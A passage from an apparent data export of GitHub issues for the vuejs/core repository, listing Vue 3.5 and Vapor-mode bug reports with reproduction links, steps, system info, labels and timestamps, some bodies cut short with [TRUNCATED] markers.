Workaround is to break down what `defineModel` abstracts into a prop and event emit.",need more info,2025-09-09T09:30:47Z,2025-09-09T16:06:46Z,4
vuejs/core,3387026313,type inference when passing Union types to generic components.,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U8GO0zAQ/ZWROaSVqpQGuERp0YL2AIJlxfZW9xASN+vFsS3bKV2F/Dtjp8m2gq7EYXOKZ96M3xu/acmV1vG+YSQlmS0M1w4sc40GkctqSYmzlKyo5LVWxsFHVWvYGVVDFM/9wZdGVFJZKGkdCG7dApbwNXf3scllqerJFFbwOn4H72GzmEGyhRQ20SKaQZREW1/qHjWDL1iZYOXkpql/MAO/4c4ZLqvpBjFPzZN0RP7HHdm8l4ZC8OBYrUXuGJ4AsiAp9b1RbeCPgkcMvCrZLm+ET7aBAXRhIBC+doh1fSSbnzcPM7pwT/IC95zEyQzfDge341X8YJXEB249lpICsVww8007joOlJIWQ8blcCPXrc4g507DZEC/uWfHzH/EHe/AxSm4Ns8zsGSVjzuWmYq5PX9/dsAP+j8lalY1A9DPJ78wq0XiOPexDI0ukfYILbD8Fa6JV1vb64Ji0gyhP1CO7gKcErerHdEn6E9038dtQR2WHUxxs/tyGQMUkM7zA4/p0X4K1W7g1Sq/9b9cvT+BCyWBsjWmLjkYLcMk82E4CLf/mI0PfK4UrY/JHyO3YM1tvtqvjRI4eSgEXYrkCvzq9jOmlHfiLOJqp5Puj8TIrlDszLUqdHy3Xw86cSLo/IoxmRQ==

### Steps to reproduce

open Link to minimal reproduction.
Type 'number[] | string[]' is not assignable to type 'number[]'.
  Type 'string[]' is not assignable to type 'number[]'.

### What is expected?

The type of list in component Comp should be `string[] | number[]`.

### What is actually happening?

The type of list in component Comp is `number[]`.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M2 Pro
    Memory: 62.25 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.n/bin/node
    npm: 10.9.3 - ~/.n/bin/npm
    pnpm: 10.15.0 - ~/.n/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.157
    Safari: 18.6
  npmPackages:
    vue: ^3.5.20 => 3.5.21
```

### Any additional comments?

The type of list... [TRUNCATED]",scope: types,2025-09-05T10:15:43Z,2025-09-05T12:45:43Z,2
vuejs/core,3386938108,"When a child component executes slots.default in the template and uses the slot parameters of the parent component in slots.default, the child component cannot respond to the slot parameter updates","### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VE1zmzAQ/Ss76sF44oG6aS+u7X5kcmgPbSbprXQ6BNaGREiMJBx3GP57VxJg48S52Kze0368XW3DvlRVuKuRLdhSp6qoDGg0dbWORVFWUhm4kmUFGyVLmISRNSx98nGEz0eE+QnjJlEozEDxZs9ZRj4sBSTDYFnxxCBZAEvPdN9k9Ri8yXCT1NysYtZAKmvy3casoxHR5rBuBqhduqzG+Pw5Yd4HisZZdAmTMULYjBmdSrEptuGDloIUbCw/Zik5Kziqn5UppNAxW4BDLJZwLp++uzOjapz152mO6eML5w96b89idqNQo9phzAbMJGqLxsPXdz9wT98DWMqs5sR+BbxFLXltc/S0r7XIKO0jnsv2m+tiIba/9PXeoNB9UTZRy2wdP2bUUavjudIP6V6G7929WLSkYj9TdgTHyt+iyFBd5QXPqAMQnbaAzOOZBZ6ILQ2FobiH+W2g1njHpdEzyKHtxrCbvlhQBzXdtzisBmowPQJP0lhBMIXV2hfmGekBc57CbkI/hc4RQBRBmfy7R8gkaFmiyUlPeCpMPtwNLU9RHUpAHkyyYjeZQdPOBoL1RJIdPZhOPPfejh7wGRkop0K4DklB8/yiGrh35C790yuBK9lpHVRKVqRo00nXTvtGdyV4jYZCfj/T5c+0nwFb2Liqw4o4v5cairQZVXDomH/YK8sI5hTHnyZZNjTPMcJdwmu8uHh9C1EB/Wa4r42RAj6nvEgfSWLySBrT7zLyUE+01cLCBSGa+4+ZG2C7ULzH023yd4fKvi0q+TL8EL57y9r/gTri0Q==

### Steps to reproduce

1. create a component A that provides scoped slot.
2. create a component B that calls slots.default in template.
3. use the slot parameters of component A in the default slot of component B
4. update the slot parameters of component A and component B not update.

### What is expected?

Contents of component B should be updated when parameters change.

### What is actually happening?

Contents of component B not update when parameters change.

### System Info

```shell

```

### Any additional comments?

by the way, calling slots.default directly in renderFunction of ComponentB wil... [TRUNCATED]",,2025-09-05T09:45:20Z,2025-09-05T12:23:51Z,1
vuejs/core,3384475340,TransitionGroup's move animations don't work when moved to another document,"### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-gybe4tgi?file=src%2FApp.vue

### Steps to reproduce

- Open the preview window in a new tab as the repro won't work otherwise
- Press the shuffle and add buttons -> Both animations work correctly
- Press the move to new window button -> Only the enter animation works correctly, the move animation doesn't work

### What is expected?

The move transition should work like the enter transition.

### What is actually happening?

There is no move transition.

### System Info

```shell

```

### Any additional comments?

My goal with this is to move a component to a Picture-in-picture window using the `window.documentPictureInPicture` API.
I'm not sure if this use case is supported, but as all other parts work perfectly, it would be great to get the move transitions working.
I found #10610 while researching this, so it seems at least somewhat plausible that this should be supported.","scope: transition,🔩 p2-edge-case",2025-09-04T16:20:37Z,2025-09-25T00:42:53Z,0
vuejs/core,3382921606,Regression in prop type checking of imported type literal unions,"### Vue version

min. 3.5.19

### Link to minimal reproduction

https://github.com/dbohn/vue-type-union-regression

### Steps to reproduce

After checking out the reproduction repository, run

```
npm install
npm run build
```

Please note, that this issue persists up to the latest patch version. This can be checked by increasing the patch version in the `package.json` file and run the above steps again.

### What is expected?

Up to Vue 3.5.18, the build succeeded without any issues, as `right-end` is a valid value of the imported `Placement` type.

### What is actually happening?

Build fails with the following error:

```
error during build:
[vite:vue] [@vue/compiler-sfc] Default value of prop ""placement"" does not match declared type.

/.../vue-floating-default/src/components/HelloWorld.vue
3  |  import { ref } from 'vue'
4  |
5  |  const {placement = 'right-end'} = defineProps<{ msg: string, placement?: Placement }>()
   |                     ^^^^^^^^^^^
6  |
7  |  const validPlacement: Placement = 'right-end';
```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (22) x64 Intel(R) Core(TM) Ultra 7 155H
    Memory: 4.56 GB / 15.37 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  npmPackages:
    vue: 3.5.19 => 3.5.19
```

### Any additional comments?

We have a set of components, that use ... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug,regression",2025-09-04T09:33:11Z,2025-09-24T09:29:39Z,0
vuejs/core,3378773860,vue3 keep-alive not working with slot,"### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNqtlFFv0zAQx7/KYSFt00oC3fYS0oqB9gBIgBjihSCUpW6a1bUj20k7RfnunO0kS7J22qS92Xf/8/2d+8UVucxzrywoCUioEpnlGhTVRT6PeLbJhdTwSWxyWEqxgSPPNxsjP3o/yE8HgukDRcE1lT2N3beq0HeNsSVuNN3kLNYUdwChOc6u7NqWzcP2ACexLd1yJcG3p+A6nxcpu4ObQsNWyHUQ+o3I+S3fKCb0LCIVqJXYQh2Rts9XSvNLlpXOQr81VmVLrDEVqB8aMVaGpc7aFNeh37sWmRCtEsGXWerdKsHx01dGHpEE5Rmj8nuuM8FVRAKwGZOLGRPbLzamZUEnbTxZ0WS9J36rdiYWkR+SKipLGpEup2OZUu3SV9ff6A7XXXIjFgVD9SPJn1QJVhiPTvax4Au03dNZt5/t+DOe/lJXO025ai9ljBplbfURQRDMlzp09Xu7Z965rYt4jV+xhXHMLrCYpzgmjcfcc1yBpMsJLOgy4/Qah6+gbpBsQMSZKA1lzGBmtMdvTwxLLmohcWHjHjO9g8LKHBsXTAdw7Hke+lUBxPzuz98TmM3NCur5MRY9xjqiqgWHDwnLknVDGbZ81dCmRZoyGvpONgAegIsGcxseExwa1ofw2gv1UTaShtoRxTdPbGLoFZzycacgU7h5bRoor/lOewx05XtcjP+f3gty+OGyA3/KjJ8zFKw8Pe3eiqqyR9UIpLHcjeah3+ZVfAaqY+eHSXxhqLp5O2yCA6SM7/ivpNL84XjFM+/Cezc1Ma1+d9EL79ybkvo/dUwnCg==

### Steps to reproduce

```tsx
<!-- App.vue -->
  <Comp>
    <Counter></Counter>
  </Comp>

<!-- Comp.vue -->
  <KeepAlive>
    <slot v-if=""show"" show=""show""></slot>
  </KeepAlive>
```
 
- The button shows `0`
- click number button
- button shows `1`
- click toggle button
- number button hidden
- click toggle button again
- the number button shows `0` ?? expected `1`

### What is expected?

KeepAlive work with slots

```tsx
  <KeepAlive>
    <slot v-if=""show"" show=""show""></slot>
  </KeepAlive>
  <!-- or -->
  <KeepAlive>
    <component v-if=""show"" :is=""$slots.default"" show=""show""></component>
  </KeepAlive>
... [TRUNCATED]",,2025-09-03T08:00:53Z,2025-09-04T05:18:11Z,1
vuejs/core,3371101742,"The ""computed"" section stores the components rendered by the ""h"" function, which causes errors in the entire reactive system.","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uktu2zAQvQrBjWXEUPpbubZRt8iiXbRFW3RTdqFIo09CkQQ5dAwYuks3PUZuk9wjQ0qWhSDJRhTfzLx5jzMHvjUm3XngS75CaI3MEDZCMXY4MAU3vzPpgXXdgOwm19WlR9SKfchlk1+vBS+V4JusKFbnfYRoVucTTrq63DYGmQP0hslMVVSGjsqEalqjLbJDoLZQLsKZ69Z4hCJe6vgtoGwUfKKAVqCQsI6VVrdMcHIh+PvQJ9fK4SB2HdiSV3MKTODXI36Et4Q8Ik9Cw2TO1pteVhCG3qoBq5NZ/Wa2YLO723/3/29noQVjXZQ55BurjVuyP4Jnl7ngf2OMXu+kZnzj9eg2mbQMSVpCKnWV1Ml23vcYZPRO0ngQ3p1YS0V8E5qY0ieenVFmmEw/izgXofiC5kC1ZVOlV04rWodYKHhQ1Uiw3ww2xC348miOTEmpb75EDK2H6C7W1JBfP4FfuX3ABP9uwYHd0bzGGGa2AuzDFz+/wp7+x2CrCy8p+4XgD6CH8kFjn/bRq4JkT/Ki2s9xzRpV/XIXewTljqaC0NP84jaFRXjO+knu2/TdMNWOdw8ADBmG

### Steps to reproduce

Click the ""add"" button to view the console output.

### What is expected?

Click the ""add"" button to view the console output.When I was packaging the dynamic form components, I encountered a scenario where I used the computed method to render custom components using the h function. This affected my development process. I hope it can be fixed as soon as possible!

### What is actually happening?

Hope it can be fixed as soon as possible!

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-01T03:50:02Z,2025-09-01T03:59:33Z,1
vuejs/core,3370095643,type 检测警告,"### Vue version

 v3.5.20

### Link to minimal reproduction

https://stackblitz.com/edit/9mw9wken?file=package.json

### Steps to reproduce


 当我定义一个props：
`title?: VNode | string | (() => VNode | string);`



### What is expected?

无事发生

### What is actually happening?

<img width=""918"" height=""108"" alt=""Image"" src=""https://github.com/user-attachments/assets/7cc3d3d7-0055-4224-b640-e685cdc92708"" />
Invalid prop: type check failed for prop ""title"". Expected Function, got String with value ""✨ Inspirational Sparks and Marvelous Tips"". 

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-31T10:06:35Z,2025-08-31T10:24:41Z,2
vuejs/core,3370085500,"When the label is looped for and contains a radio button, clicking on the text in the label results in the click event function bound to the label outputting twice","### Vue version

3.5.20

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttOwzAM/ZUoL4AELdeXqZu4CAkQAgS8EYRK642wNIlyKZuq/jtOuq0DTWulNj62j48dN/RC66T2QAc0s4Xh2hELzusRk7zSyjjSEANj0pKxURXZwdAdJsNbKGkdEfkniHuOpyF5Y5KQJnxIhw8Yjf+DI0b3O7zOhQfE4x/hgLbRtzHxeHMiwjGRyfdeipI3uSxRxy53UO0NR5Ex+JSARKhJhzOJaVnaNYttooGwFrkDtAjJSl7HQ3iyKAOrH4yVGTIaGAiXfduMksEU5gtXEtUhdl4IXkwR7UQtKtMVLzKHES8NNK3O5ahpIktkb1sUGcA/YVxq74iba0Byk5dcBQWx7D8N6XqxtK+WpZG+6zXtms3StRHQfeosjm3MJ8m3VRJXI06S0UJVmgswj9pxHCujg+WtMZoLoX7uIuaMh8WtYc4XFNMN+LedBYzRJwMWTI2KVz6XmwngaIP7+uUBZnheOStVeoHRW5zPgFfug8Yu7NLLEmWvxUW1t3HBuZy82uuZA2mXTQWh/WLiznm42tJ6L/ckOV3sZYtT/KjBBE4c4Elylhwf0vYXgBAZ1A==

### Steps to reproduce

Click on the text in the label

### What is expected?

Print function output once

### What is actually happening?

The output function was printed twice

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-31T09:56:51Z,2025-08-31T11:03:10Z,2
vuejs/core,3370050373,Stale computed variable under Vue 3.5,"### Vue version

3.5.20

### Link to minimal reproduction

https://gist.github.com/cj1128/49cb31b1f226882d45e9ba7035ea2d93

### Steps to reproduce

Run this code under Vue 3.5.20.

```js
import { ref, computed, watchEffect } from ""vue""

const T = ref(false)

const A = computed(() => {
  if (T.value) {
    return B.value % 2 === 0 ? 2 : 3
  } else {
    return 1
  }
})

const B = computed(() => {
  return A.value + 1
})

watchEffect(() => {
  console.log(""===="")
  console.log(""A"", A.value)
  console.log(""B"", B.value)
})

setTimeout(() => {
  T.value = true
}, 100)

// output
/*
====
A 1
B 2
====
A 2
B 2
*/
```

### What is expected?

after setting `T.value = true`, A's value should be `2` and B's value should be `3`, or B's value should be always A's value + 1.

### What is actually happening?

B's value is stale.

### System Info

```shell

```

### Any additional comments?

Vue 3.4 will report error `Unhandled error during execution of scheduler flush` about this case which is better IMO because at least it reminds developers to check the code.",,2025-08-31T09:19:10Z,2025-09-01T03:55:02Z,3
vuejs/core,3368711763,Indirect ref to unpacked getters cannot make them responsive,"### Vue version

3.5.20

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVd2O2jgUfpWjrFad0Q4B0u1NlhktrHqxe7Gt2l4iVSZxwNPEjmyHASHevcc/CYYBCi25iOLz/51z8nkTjes6XjY0SqORplVdEk2fphzwGeVsCVlJlHqcRpngmjBO5TTyamfQHfC4GD6NR318B7JZo7Xg8HdWsuwbxiExyXOMMc5zKBgt81HfmewFSrq8kqpacMWWFJ2sQwqbDZDYfsN2iwmTS3znVGsqvbM7HHqP+iGgI+jerzTlWPF5iNRa3Qanj3UB2IafgutjHMd8tv4kBJBcjSB5BSG5emB7Mbzo6rlNfjSy2W2mNfuVrZxdPiFb7k2G4yv+2bm0NZ8dSfs96gcEM1KZZLUGRXVT45lVtZAaNiBpAVsopKjgDfLSm78CXSYpeo8f/D6MtZg8eOGkc4r7jGNJBcmoMt7IXEoDgUcT+s6HuLu/71QumNfvIgemO9vZXpiJCzPqOzAWll6XFFQmaprj2VDoxrShInLOeJoM6hV6AMyEzKnsSZKzRqUwbOUvLNeLtGC6ZxiXcm2lFeM9p4Hhu9+taEHZfKHT4WDgzjlT2Nt1WpTURTIfvZxJmmkmeAqZKJuKWxUp2Zz3GI4DU2eYhEorf26UZsW6TZ26GEoTacrYTrlfRIvIIUghqVegRMlymEuyDkD40tANV8m67Mk7CKTR4khPupZonEnPlhwUi1Hj7k46iL58OejQcnFZi6Rwnq/6EPTI+rxIUqdg3r6U3R9yqjm/DYqBNw6p+pS5pLmzVjXxDXcr1JMWFQxp5Qxw+8zOPUUPkca94wWbx89KcLzRrZu5u6ualVR+qA1MNY3w33W/Jt7HZSle/rMyLRv60MqzBc2+HZE/q5WRTaOPiIFKwwidDvcE6cCp33/+H8cWKCuRNyVan1F+ooi9MTU6s0nDcyw7sLPV/mvpgPH5F2UvZNWCMoUay621n0ZIH/+cgb4r9238p/XDfmIXd/QRa4Vd7M4wbp095fOmmvm1AJwYyQUv19By+p4WCTuFu3t4fIKlYH62SG1d7InnIXWQBYn2XJpDtbkYjiWiK8uhRcPtrrdUenef7vJJ5GLpl809HufAD8A8mNanxiSBaRBAL5hy94ovyjxuKO7BIl8777zgj0cYhq7uc3sKS8DZBOEgpMlpSHEck6CUtsfHISYXYExOgzziHvhdC7O7c87iOzKy8xh/fow369NVy3C7FuO//nVJpeEP/M3fxu/iZBBtvwOllxaL

### Steps to reproduce

Click the button under Extend.

### What is expected?

The getters should also be responsive.

### What is actually happening?

The fields are responsive, ... [TRUNCATED]",,2025-08-30T04:01:17Z,2025-08-30T06:36:59Z,2
vuejs/core,3366903004,`Maximum call stack size exceeded` on large push over reactive array,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul1LwzAU/SuXvNhBzRB90m2g4oM+qKj4Ynwo3V0bTZOQj21a+t+9SVEnyCiU5p6PnNOkZ+fW8nVEdspmvnbSBvAYol0ILTtrXIAeHK5KelV1kGssYVOFuoUBVs50cEDaA6GFro32pJWfCPOkKI4mv2OXZ6NB8fI6ORM6uxSJX4LGzTPMF9ALDTAqKn+tA6ls5TzSZ5E45DjiRiFXpikEs9G3go0WJZw7V30UWTtJmwA4nhgF5/wPJvSQ8PTMpmNvakyLgJ1VVUBaAczao0Xfj6WGYTalZR5LbWOA9WFnlqjmgiWCYDDNFpQwdjF5LLPyFPrecYW6Ce0wpP129mAlC54arWTD37zRdAz5JwhWm85Khe7OBkmNBSOfhCSsUspsbvIsuIjl97xusX7/Z/7mt2km2L1Dj25NYX+wULkGwwhfPd7ilr5/QCoYFbH3gA9IpxFTxpF2EfWSYu/wctrrfJmkbp781Tag9t+lUtDEHDJfMLpPl3uq/8Y95idZR0fJhi8mhe5y

### Steps to reproduce

```
<script setup>
import { ref, reactive, watch } from 'vue'

const size = ref(1)

const r = reactive([]);
watch(size, newV => {
  const asInt = parseInt(newV)
  console.log(""push"", newV, Array(asInt));
  r.push(...Array(asInt))
});


</script>

<template>
  <h1>{{ size }}</h1>
  <input v-model=""size"" />

  cumulated size: {{r.length}}
</template>
```
Add number in the input in increasing size until the size is large enough (~50k in Chrome). While one can add multiple times 10k rows (e.g. to reach a cumulated size of 1 million), one can not add a large array (~50k).

### What is expected?

Data to be pushed smoohtly

### What is actually happening?

```
push 10 (10) [empty × 10]
VM470 about:srcdoc:164 push 100 (100) [empty × 100]
VM470 about:srcdoc:164 push 1000 (1000) [empty × 1000]
VM470 about:srcdoc:164 push 10000 (10000) [empty × 10000]
VM470 about:s... [TRUNCATED]",,2025-08-29T13:34:01Z,2025-09-01T01:53:19Z,4
vuejs/core,3365767080,[Vapor] Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1PwzAM/SshF0CCFgrigMrEhzjAASbgGAmFzu2ypUmUpGVo2n/HSbuxTdNEL038np+fHc/pnTFJ2wC9prmH2kjuYcAUwS//arzXitwWUhTTG0ZLyStyQw7Cn9FBMeaqgjztaJjUpw15BeekPRVln8MoSZeaAcwQBOkgRvN0rSxeXWGF8cSBbwyRWAFFvMNyTInaaOvJnFgoyYKUVtfkEL0frqCudAckabyF5jYJ2QYh6wlMFVo5T/omscSRtw0cB4edpwE9QSfIKkWVTJxWOLN5aIvRQtdGSLCvxgtUYfSaRCRgXEr9/RxjQfBkGS/GUEx3xCduFmKMDi04sC0wusI8txX4Dn58f4EZnldgrUeNRPYe8A2clk3w2NHuGzVC22u86PYpDkuo6sM9zjwot2wqGA3MReQziqN72NP6n92L5DLmMbXAKa4eJmzdxoO3HCvHrehnjsfttRyJdmBQgZznaThv7VCvH991W/+/ytlOZaZ+UPyzBRsGgtoXyVVydsqlGfMko4tf3AsW7w==

### Steps to reproduce

1. switch Page1
2. Click the button in the preview

### What is expected?

Can display the page2 normally

### What is actually happening?

tips: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.

### System Info

```shell
`Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.`
```

### Any additional comments?

_No response_",,2025-08-29T07:18:12Z,2025-08-29T07:49:16Z,1
vuejs/core,3361164325,Props able to edit parent object value (One-Way Data Flow Violence),"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8GO2jAQ/ZWRL4DEJqraEwWkdrVSW2m7qO3Rl5AMYJrYlu2kSFH+vWM7CdDuRiDFnnnz/Gb83LJPWidNjWzF1jY3Qjuw6Gq95VJUWhkHLRg8QAcHoyqYEXQ2ph5Vpft4kvqNZ5p95JLLXEnroLLHl/0ZNp5i3nIJPrICzugnuwWX6zQeSsfRxmGly8wh7QDWp3fbXWZQunVKyyHUtj1rQh/oumtSSF07aB4qVWC54ewK4wzSiAmKVzrQPlBmhHHmEev0RgJbMmepj4M4JmerJI0otMBZTiyiRPOinaA+OVtByPhcVpbqz7cQc6bG5RDPT5j/fiV+thcf42xn0KJpkLMx5zJzRBfTTz+/44XWY5LarEtCTyR/oFVl7TVG2OdaFiT7BhfUfg23KeTxl326OJR2aMoL9cgu4Dmj2/UDfKv1q9z3yYdQR5dMUxycMeUxJZ9VLR0Wd04jK024cHCZNkpbMlmBByFx53dzf3wvLN72szceXTTmrpdG9hsY8pMoi2mnjgLn8wVstpF8qEuarKyRqoOUZDwxlk7bvBBNWER7P3rG0dMAX8QS3ElYoH84Dbz5lCT+JQga5EnVFJTKQbYvEZwCLCgeJfS8exPtP8wCoty5JHAl3GJFEHpYo2z/qvaDqGvxzTJKCTR98TCKWAv/F//7PMfZ3T3QNI7j/iF2fwH4r4wU

### Steps to reproduce

1. Fill the child component's input form with any sentences, it will edit the parent as well


### What is expected?

The parent component value should not be edited because there is no emit or anything else that can update parent object value. This violence `One Way Dataflow` - child able to edit parent only from a `Props`

### What is actually happening?

When the parent pass object to props then the child component receive and connect it to a variable using `onMounted` method, this make the parent also edited when child did.
  
```
const props = defineProps(
  {
    parentMsg: Object
  }
)

const childObj = ref({
  msg: """"
})

onMounted(() => {
  // parent will be editted as well eve... [TRUNCATED]",,2025-08-27T23:31:31Z,2025-08-28T02:07:25Z,1
vuejs/core,3358843190,"shouldTransformRef transformRef I am still using these two APIs in version 3.2.47. If I upgrade, what API should I use to replace them","### Vue version

3.5.20

### Link to minimal reproduction

no

### Steps to reproduce

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/16a44722-3b1f-4fa3-9ffa-70d7580b645e"" />

### What is expected?

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/d401b540-7866-4b78-848d-66e96e8841b3"" />

### What is actually happening?

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/95f2e2ea-70d0-4cdf-be1a-bef44bcec7de"" />

### System Info

```shell

```

### Any additional comments?

_No response_",invalid,2025-08-27T10:23:51Z,2025-08-28T02:09:13Z,6
vuejs/core,3350594942,__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not defined,"### Vue version

3.5.19

### Link to minimal reproduction

https://github.com/Milkdown/milkdown/tree/a392b37735a8859c05dcce36ecc84a1ef7bc2c77

### Steps to reproduce

1. Clone the repo
2. Run `pnpm install`
3. Run `pnpm build:tsc`
4. Run `pnpm -F @milkdown/storybook run build`
5. Run `pnpm -F @milkdown/storybook run serve`

Open the preview link, choose `Component/Code Block` or `Crepe/Empty` (In fact all crepe components dead).

Observe the error:

<img width=""781"" height=""321"" alt=""Image"" src=""https://github.com/user-attachments/assets/ae0cf25d-2974-4ff0-894b-d050858d8712"" />

### What is expected?

Vue should work without the compile-time flags.

https://vuejs.org/api/compile-time-flags#configuration-guides

According to the documentation, these are optional flags.

### What is actually happening?

An error is thrown.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 198.64 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/node
    npm: 10.9.3 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/npm
    pnpm: 10.15.0 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/pnpm
    Watchman: 2025.05.26.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 139.0.7258.139
    Safari: 18.6
```

### Any additional comments?

3.5.18 works fine.",,2025-08-25T06:21:19Z,2025-08-25T06:52:51Z,7
vuejs/core,3346796590,Better event argument types,"https://github.com/vuejs/core/blob/a48ffdad65d9c97eb0a342a6cd53836a16289afe/packages/runtime-dom/src/jsx.ts#L1297-L1341

```diff
@@ -1296,15 +1296,15 @@

   // form events
   onChange: Event
-  onBeforeinput: Event
+  onBeforeinput: InputEvent
   onInput: Event
   onReset: Event
-  onSubmit: Event
+  onSubmit: SubmitEvent
   onInvalid: Event

   // image events
   onLoad: Event
-  onError: Event
+  onError: ErrorEvent

   // keyboard events
   onKeydown: KeyboardEvent
@@ -1312,9 +1312,9 @@
   onKeyup: KeyboardEvent

   // mouse events
-  onAuxclick: MouseEvent
-  onClick: MouseEvent
-  onContextmenu: MouseEvent
+  onAuxclick: PointerEvent
+  onClick: PointerEvent
+  onContextmenu: PointerEvent
   onDblclick: MouseEvent
   onMousedown: MouseEvent
   onMouseenter: MouseEvent
@@ -1325,7 +1325,7 @@
   onMouseup: MouseEvent

   // media events
-  onAbort: Event
+  onAbort: UIEvent
   onCanplay: Event
   onCanplaythrough: Event
   onDurationchange: Event
@@ -1338,7 +1338,7 @@
   onPause: Event
   onPlay: Event
   onPlaying: Event
-  onProgress: Event
+  onProgress: ProgressEvent
   onRatechange: Event
   onSeeked: Event
   onSeeking: Event
```",scope: types,2025-08-22T21:21:41Z,2025-08-25T07:25:11Z,1
vuejs/core,3345824905,Lucide icons in vapor mode do not work and the page crashes due to an error,"### Vue version

v3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UMtOwzAQ/BXL58Yuz0OIEA9VAg6AgKMlFCXb1sUv2U6oVOXf2ThtKS3qyfbM7nhmVvTWOdY2QHNahMpLF0mA2DjSls76a2GkxjOSFXmwGkhHpt5qIqhqKllDhpuZgWUU9EqYgg8KuIWPCNqpMgK+CCnSNsd7wXcIOqKDfqZLxxbBGvSx6hfEmgiC5iQhPXbwa47gPEYXcs6r2qBEDUq2nhmI3DjN9zZuxuzi/ISNeS1D5BAOBlBB0P67TpgO7cVQWTOVsz1zldVOKvAvLkpr/poslbLfTwmLvoHRBq/mUH39gy/Ccgjy6iGAb0HQLRdLP4N1zsn7c8q8JbWtG4XTR8g3CFY1vcdh7K4xNdremUtuH1PX0sw+wmQZwYRNqN5oaiPNC4o13R+J/mv3jF3utPjZgu81sUAk2DgrlZuX7JR2P22b1LI=

### Steps to reproduce

1. Add `vapor` in `<script setup>`
2. Get the `Cannot add property _ctx, object is not extensible` error

### What is expected?

The `<Home />` icon will be displayed in **Vapor** mode without any errors

### What is actually happening?

When I try to set **Vapor Mode** on a page, I get an error that causes nothing to render at all.

### System Info

```shell

```

### Any additional comments?

Not critical, I'll do without Vapor for now.",,2025-08-22T15:15:50Z,2025-08-22T23:19:01Z,2
vuejs/core,3340729425,runtime-dom 3.5.19,"### Vue version

3.5.13

### Link to minimal reproduction

I use Jenkins build my project，sorry can‘t supt

### Steps to reproduce

<img width=""1369"" height=""686"" alt=""Image"" src=""https://github.com/user-attachments/assets/d7541867-8d06-4943-9a92-ee430cbad475"" />


### What is expected?

更新rolldown？

### What is actually happening?

jenkins desktop error in rollup /dist/native.js 64

### System Info

```shell

```

### Any additional comments?

今天12点更新项目，发现使用了runtime-dom 3.5.19 ，发生了一些报错，node_modules清理且重新安装，node version 20.10.0",,2025-08-21T08:04:04Z,2025-08-21T08:45:15Z,3
vuejs/core,3340505344,打包上线后，项目显示异常,"### Vue version

3.5.19

### Link to minimal reproduction

--

### Steps to reproduce

<img width=""2371"" height=""1319"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfa00109-ede9-4341-9b9a-f5dff1ffc711"" />

### What is expected?

项目正常访问

### What is actually happening?

控制台报错

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-21T06:46:43Z,2025-08-21T08:41:56Z,19
vuejs/core,3333289252,"The type of ""ref(computed)"" does not match the expected value.","### Version
3.5.18

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9Uk1v2zAM/SuELk2AzEGRFSgyx8C69dAdtqErdqmKwUuY1K0sCRLlJTD830fJdppDWx0EiXx8fPxoxWdrsyagWIrcr11lCTxSsKBKvVtJQV6KQuqqtsYRtOBwO4O1qW0g3EAHW2dqOGOCsyOIDhYZ+WUA3cYIvkawFIyW4pPUUq+N9gT14a5SCKtIPpHCU+lIiikjEtWVMc83emsY0EoNoMsal+DJVXrHGACqSLHlJGHeewt2d2OWirD2y6gkHxnvH4o+66llEinv4wV9vnj6nFL8ZdzX8iDFbPQMyceWTCZTWBUvgcD0FJweisyaUgVMquPppgMPqwR4iCXn834M3HT+sGarSkL+AeSP50Xb9oVA1+Vz/id7pTk3NB9qs0HFQ+tzSQFz9ufzExIx44lyP7bVLnvyRvPYk1QpYgEc5H5YqrhfUizHIqQolTL/viUbuYCDZo55xPXzK/Ynv482KX469OgalnL08XB3yOON7utf33HP76OTCwhR+DvOW/RGhaixh10FvWHZJ7ik9ibtIu/Anb/eE2o/FhWFRmSX8GkZ4+K8VfqL3EX2McXxSnEX/zToIic3cJFdZOeX0Ub+99F6kV1mC9H9B6DEGqg=)







### Steps to reproduce
```vue
const myTile = ref(""start"");

type BookInfo = {
	name: string;
	title: ComputedRef<string>;
}
const items: Ref<BookInfo[]> = ref<BookInfo[]>(
  [
    {
      name: ""bookDay"",
      title: computed(() => {
